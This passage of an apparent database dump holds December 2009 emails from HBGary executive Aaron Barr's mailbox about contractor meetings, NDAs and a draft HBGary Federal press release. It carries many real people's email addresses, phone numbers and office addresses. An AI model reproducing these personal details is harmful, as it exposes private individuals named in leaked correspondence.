Inc.719-237-8623\r\n\r\n',4828,'aaron_hbgary_com/4828.html'),(300,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999746.M613598P3547Q301.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: GD conference call','Yep no worriesFrom my iPhoneOn Dec 2, 2009, at 4:10 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nNeed to check ny schedule.  Have my daughter so would have to do some switching.  Tonight or tomorrow.  Ok?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Dec 02 14:42:14 2009Subject: Fwd: GD conference call\r\n\r\nU want to go?  I&#39;ll sacrifice for u. :)AaronFrom my iPhoneBegin forwarded message:From: &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt;\r\n\r\nDate: December 2, 2009 9:06:04 AM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: GD conference call\r\n\r\n\r\n\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station) \r\nWith you, it’s 20 students.  If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron  \r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.  I’d also like to set up a meeting with Kirsten and Ryan\r\nOrth\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: &#39;Barr Aaron&#39;; &#39;Ted Vera&#39;\r\nCc: &#39;Penny C. Hoglund&#39;\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron\r\nand Ted,\r\n\r\n \r\n\r\nI\r\njust got off the phone with Ben Wilson of GD-AIS.  He is our main champion\r\nthere.  I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.  Does this date work for you?  Let me\r\nknow and I can send out an invitation with call-in instructions.  \r\n\r\n \r\n\r\nBen\r\nsaid he would invite Bill Thompson and Mark Green onto the call.  He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.\r\n\r\n \r\n\r\nBob\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7598,'aaron_hbgary_com/7598.html'),(301,'2009-12-02','ted@hbgary.com','/aaron@hbgary.com/new/1296999746.M79382P3547Q299.eml','aaron@hbgary.com','HBGary Federal Announcement','I\'ve shared a document with you:\r\n\r\nHBGary Federal Announcement\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8xOGNrZjdoOXNq&hl=en&invite=CKPK0poF\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',2732,'aaron_hbgary_com/2732.html'),(302,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999746.M861377P3547Q302.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Possible Opportunity','Is this ok to sign?From my iPhoneBegin forwarded message:From: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nDate: December 2, 2009 1:02:48 PM ESTTo: &lt;aaron@hbgary.com&gt;, &quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nCc: &quot;Bruni, Michael J.&quot; &lt;MICHAEL.J.BRUNI@saic.com&gt;, &quot;Howsare, Stephanie A.&quot; &lt;STEPHANIE.A.HOWSARE@saic.com&gt;\r\nSubject: Possible Opportunity\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n \r\n\r\nAaron,\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.  Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.  Given the fact that\r\nyou have left the company I assume this makes their position even worse?  I\r\nam the lead division for SAIC (also own digital echo) and have been ‘capturing’\r\nit for some time.  We do in fact intend to prime and have begun our\r\nproposal preparation.  I would welcome the opportunity to speak with you\r\nas soon as possible.   \r\n\r\n \r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.  I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.  \r\n\r\n \r\n\r\nI look forward to meeting you,\r\n\r\n \r\n\r\n \r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4683,'aaron_hbgary_com/4683.html'),(303,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999748.M388699P3547Q303.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: NDA for COIN','Is this ok to sign?  We will want to do the same.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;Date: December 2, 2009 5:06:31 PM ESTTo: &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;Subject: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed is a Non-Disclosure Agreement for the COIN effort.\r\n\r\n \r\n\r\nPlease contact me if you have any questions.\r\n\r\n \r\n\r\nThanks,\r\n\r\nApril \r\n\r\n \r\n\r\nApril Huffman\r\n\r\nSubcontracts Manager\r\n\r\nScience Applications International Corporation\r\n\r\n11251\r\n    Roger Bacon Drive, M/S\r\nR4-1\r\n\r\nReston,\r\n VA 20190\r\n\r\nPh: 703-318-4732\r\n\r\nFx: 703-810-8995\r\n\r\nEmail: Huffmana@saic.com\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11077,'aaron_hbgary_com/11077.html'),(304,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999748.M642633P3547Q304.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','Re: Can you meet early on the 11th of Dec near Fairlakes?','If the time works just tell me the place.AaronFrom my iPhoneOn Dec 2, 2009, at 1:58 PM, Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt; wrote:\r\nAaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike\r\n',4563,'aaron_hbgary_com/4563.html'),(305,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999748.M910164P3547Q305.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure, we sign there paperwork&nbsp; all the time\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 3:12 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: Possible Opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIs this ok to sign?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Brownfield,\r\nAmanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nDate: December 2, 2009 1:02:48 PM EST\r\nTo: &lt;aaron@hbgary.com&gt;,\r\n&quot;Huffman, April A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nCc: &quot;Bruni, Michael J.&quot; &lt;MICHAEL.J.BRUNI@saic.com&gt;,\r\n&quot;Howsare, Stephanie A.&quot; &lt;STEPHANIE.A.HOWSARE@saic.com&gt;\r\nSubject: Possible Opportunity\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the\r\ninformation, Mike.\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nI am very familiar\r\nwith the opportunity that you are pursuing.&nbsp; Based on our discussions with\r\nthe customer I believe that NG/TASC is not in a very good position for its\r\nrecompete.&nbsp; Given the fact that you have left the company I assume this\r\nmakes their position even worse?&nbsp; I am the lead division for SAIC (also\r\nown digital echo) and have been &#8216;capturing&#8217; it for some time.&nbsp; We do in\r\nfact intend to prime and have begun our proposal preparation.&nbsp; I would\r\nwelcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nApril Huffman will\r\nneed to send you a NDA before we can meet.&nbsp; I am on travel next WED thru\r\nFRI, and my time before then is very tight with a proposal resubmit due\r\nTuesday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI look forward to\r\nmeeting you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics\r\nand Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n703-862-5614 BB\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13304,'aaron_hbgary_com/13304.html'),(306,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999749.M182636P3547Q306.eml','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','Re: Status','Hi kathy,Just occured to me would an office be better?  We could meet at my office: 2010 Corporate Ridge, Suite # 700, McLean, VA\r\nEither way.AaronFrom my iPhoneOn Dec 2, 2009, at 11:59 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMonday, December 7 works. Bill is ok meeting you at a location\r\nclose to you.  Please provide a location.\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWould Monday morning work?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n \r\n\r\nBill\r\nLuti has asked me to contact you to scheduled a meeting over coffee. \r\nPlease let me know your availability the week of December 7th. \r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\nthanks for the update and I’m delighted you landed well. Yes, let’s get\r\ntogether for coffee soon to catch up. I’ll have Kathy Zavala set something up\r\nthis week (I’m in LA but back Thursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse.  Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat.  My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability.  I believe marrying HBGary&#39;s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution.  HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena.  Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations.  Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11184,'aaron_hbgary_com/11184.html'),(307,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999750.M440496P3547Q307.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NDA for COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYour callJ&nbsp; As a rule of thumb, any time they make me write what was\r\ndiscussed&nbsp; I try not to do that.&nbsp; I think I sent you our mutual NDA but if not it&#8217;s\r\nattached.&nbsp; Modify for Federal as needed.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 4:28 PM\r\nTo: Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIs this ok to sign? &nbsp;We will want to do the same.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Huffman,\r\nApril A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nDate: December 2, 2009 5:06:31 PM EST\r\nTo: &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nSubject: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed\r\nis a Non-Disclosure Agreement for the COIN effort.\r\n\r\n&nbsp;\r\n\r\nPlease\r\ncontact me if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nApril\r\n\r\n\r\n&nbsp;\r\n\r\nApril\r\nHuffman\r\n\r\nSubcontracts\r\nManager\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n11251\r\nRoger Bacon Drive, M/S R4-1\r\n\r\nReston,\r\nVA 20190\r\n\r\nPh:\r\n703-318-4732\r\n\r\nFx:&nbsp;703-810-8995\r\n\r\nEmail:\r\nHuffmana@saic.com \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9213,'aaron_hbgary_com/9213.html'),(308,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999750.M754652P3547Q308.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: NDA for COIN','In this case it&#39;s standard as we will be working jointly on a proposal for a recompete.  The goal, achievable, is to get 5 project billets from the effort.Aaron\r\nFrom my iPhoneOn Dec 2, 2009, at 7:30 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nYour callJ  As a rule of thumb, any time they make me write what was\r\ndiscussed  I try not to do that.  I think I sent you our mutual NDA but if not it’s\r\nattached.  Modify for Federal as needed.  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 4:28 PM\r\nTo: Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIs this ok to sign?  We will want to do the same.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Huffman,\r\nApril A.&quot; &lt;APRIL.A.HUFFMAN@saic.com&gt;\r\nDate: December 2, 2009 5:06:31 PM EST\r\nTo: &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Brownfield, Amanda L.&quot; &lt;AMANDA.L.BROWNFIELD@saic.com&gt;\r\nSubject: NDA for COIN\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nEnclosed\r\nis a Non-Disclosure Agreement for the COIN effort.\r\n\r\n \r\n\r\nPlease\r\ncontact me if you have any questions.\r\n\r\n \r\n\r\nThanks,\r\n\r\nApril\r\n\r\n\r\n \r\n\r\nApril\r\nHuffman\r\n\r\nSubcontracts\r\nManager\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n11251\r\nRoger Bacon Drive, M/S R4-1\r\n\r\nReston,\r\nVA 20190\r\n\r\nPh:\r\n703-318-4732\r\n\r\nFx: 703-810-8995\r\n\r\nEmail:\r\nHuffmana@saic.com \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGarynda.doc&gt;\r\n',12592,'aaron_hbgary_com/12592.html'),(309,'2009-12-03','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','/aaron@hbgary.com/new/1296999750.M970983P3547Q309.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Can you meet early on the 11th of Dec near Fairlakes?','Yes\r\nLet me lock down a location and we\'ll have an 8am Breakfast\r\nMike\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt;Sent: Wed, December 2, 2009 12:05:24 PMSubject: Re: Can you meet early on the 11th of Dec near Fairlakes?\r\nSure. &nbsp;Can we do it early in fairlakes, say 8am? &nbsp;I have to get to the capital area for a meeting at 1115.\r\n\r\nAaron\r\nFrom my iPhone\r\nOn Dec 2, 2009, at 1:58 PM, Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike',4917,'aaron_hbgary_com/4917.html'),(310,'2009-12-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999751.M293194P3547Q310.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','ARSTRAT','I&#39;m meeting with the Chief of the STO (Special Technical Operations) for Army Strategic Command tomorrow.  Bob, has HBGary done anything with ARSTRAT to date?Thanks,Ted\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',8929,'aaron_hbgary_com/8929.html'),(311,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999751.M531755P3547Q311.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Office in tysons','bob,\r\n\r\nDo you have my bio or any information on what I did for northrop  \r\nbefore I left?  That might be helpful as you are talking to people  \r\nabout us.  Since I led Northrops Cyber campaign, that would probably  \r\npeak some peoples interest as well as one point.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 2, 2009, at 4:05 PM, Bob Slapnik wrote:\r\n\r\n> Go to www.hq.com\r\n> Find offices in VA\r\n> Call 800-956-9543 to reserve.\r\n> Tell them you are with HBGary\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, December 02, 2009 3:51 PM\r\n> To: Bob Slapnik\r\n> Subject: Office in tysons\r\n>\r\n> Bob,\r\n>\r\n> What is the office in tysons and how do I use it for a meeting?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n\r\n',5811,'aaron_hbgary_com/5811.html'),(312,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999754.M549582P3547Q312.eml','\"Huffman, April A.\" <APRIL.A.HUFFMAN@saic.com>','Re: NDA for COIN','Here you go.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 5:06 PM, Huffman, April A. wrote:\r\n\r\n> Aaron,\r\n> Enclosed is a Non-Disclosure Agreement for the COIN effort.\r\n>  \r\n> Please contact me if you have any questions.\r\n>  \r\n> Thanks,\r\n> April\r\n>  \r\n> April Huffman\r\n> Subcontracts Manager\r\n> Science Applications International Corporation\r\n> 11251 Roger Bacon Drive, M/S R4-1\r\n> Reston, VA 20190\r\n> Ph: 703-318-4732\r\n> Fx: 703-810-8995\r\n> Email: Huffmana@saic.com\r\n>  \r\n> \r\n\r\n',263,'aaron_hbgary_com/263.html'),(313,'2009-12-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999754.M798827P3547Q313.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Thanks Ted','Begin forwarded message:From: &quot;CLINT EADS&quot; &lt;clinteads@msn.com&gt;\r\nDate: December 2, 2009 8:08:24 PM MSTTo: &lt;ted@hbgary.com&gt;Subject: Thanks Ted\r\n\r\n\r\nHi Ted!\r\n \r\nI have been out of town on vacation the past two of three weeks, and I \r\ndidn’t\r\nhave your email address.  Until yesterday, I heard through the \r\ngrapevine that \r\nyou and Aaron had started your new work, and I got your email \r\naddress.\r\n \r\nI wanted to thank you for the past three years for all your efforts in what \r\nI \r\nconsider my welfare, and that you gave me an opportunity to be a part\r\nof a dynamic team.\r\n \r\nI sincerely wish you the best in your new endeavor, I know that you  \r\nand Aaron will do \r\ngreat things.\r\n \r\nPlease give my best to Aaron as well.\r\n \r\nMerry Christmas!\r\n \r\nClinton Eads\r\n \r\n \r\n\r\n',10406,'aaron_hbgary_com/10406.html'),(314,'2009-12-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999755.M147074P3547Q314.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Office in tysons','No, please send it to me.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 9:48 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Office in tysons\r\n\r\nbob,\r\n\r\nDo you have my bio or any information on what I did for northrop  \r\nbefore I left?  That might be helpful as you are talking to people  \r\nabout us.  Since I led Northrops Cyber campaign, that would probably  \r\npeak some peoples interest as well as one point.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 2, 2009, at 4:05 PM, Bob Slapnik wrote:\r\n\r\n> Go to www.hq.com\r\n> Find offices in VA\r\n> Call 800-956-9543 to reserve.\r\n> Tell them you are with HBGary\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, December 02, 2009 3:51 PM\r\n> To: Bob Slapnik\r\n> Subject: Office in tysons\r\n>\r\n> Bob,\r\n>\r\n> What is the office in tysons and how do I use it for a meeting?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n\r\n',8447,'aaron_hbgary_com/8447.html'),(315,'2009-12-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999755.M448354P3547Q315.eml','all@hbgary.com','some google analytics for hbgary','All,\r\n \r\nThought you might like to see the significance of Guidance Encase to our bottom line:\r\n \r\nSearch terms recently typed into google:\r\n \r\nhbgary responder - 53,000 hits\r\nhbgary digital dna - 1,100 hits\r\nhbgary responder pro - 51,000 hits\r\nhbgary encase - 453,000 hits\r\nhbgary fastdump pro - 1,500 hits\r\n \r\nWell, the numbers don&#39;t lie.  As we enter Q1, we need to highlight the availability of our working, totally integrated Digital DNA with EnCase, as that is a sure bet according to google.  I hope to see some significant sales of the 42 LLC integrated solution in Q1.  Scott should be bringing us an update on this product very soon.  \r\n\r\n \r\n-Greg  \r\n',15672,'aaron_hbgary_com/15672.html'),(316,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999755.M736078P3547Q316.eml','karenmaryburke@yahoo.com,karenmaryburke@yahoo.com','How does this look?','HBGary Announces HBGary Federal, A New Subsidiary To Provide Cybersecurity Services To U.S. Government AgenciesNew Venture Led By Cybersecurity Experts and Former Northrop Grumman Leadership&nbsp;Aaron Barr and Ted VeraSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused  on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to  the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. In addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. “As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.”Mr.\r\nBarr and Mr. Vera are well-respected security experts in the government\r\nmarket, both having managed critical programs to national security in\r\nthe past. &nbsp;They both agree that the time is right to launch HBGary Federal,\r\nleveraging the best malware and cybersecurity analysts with most\r\npromising malware detection and prevention products on the market to\r\nhelp the government counter the advanced persistent threat. “Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to\r\nmost effectively leverage these tools to satisfy mission 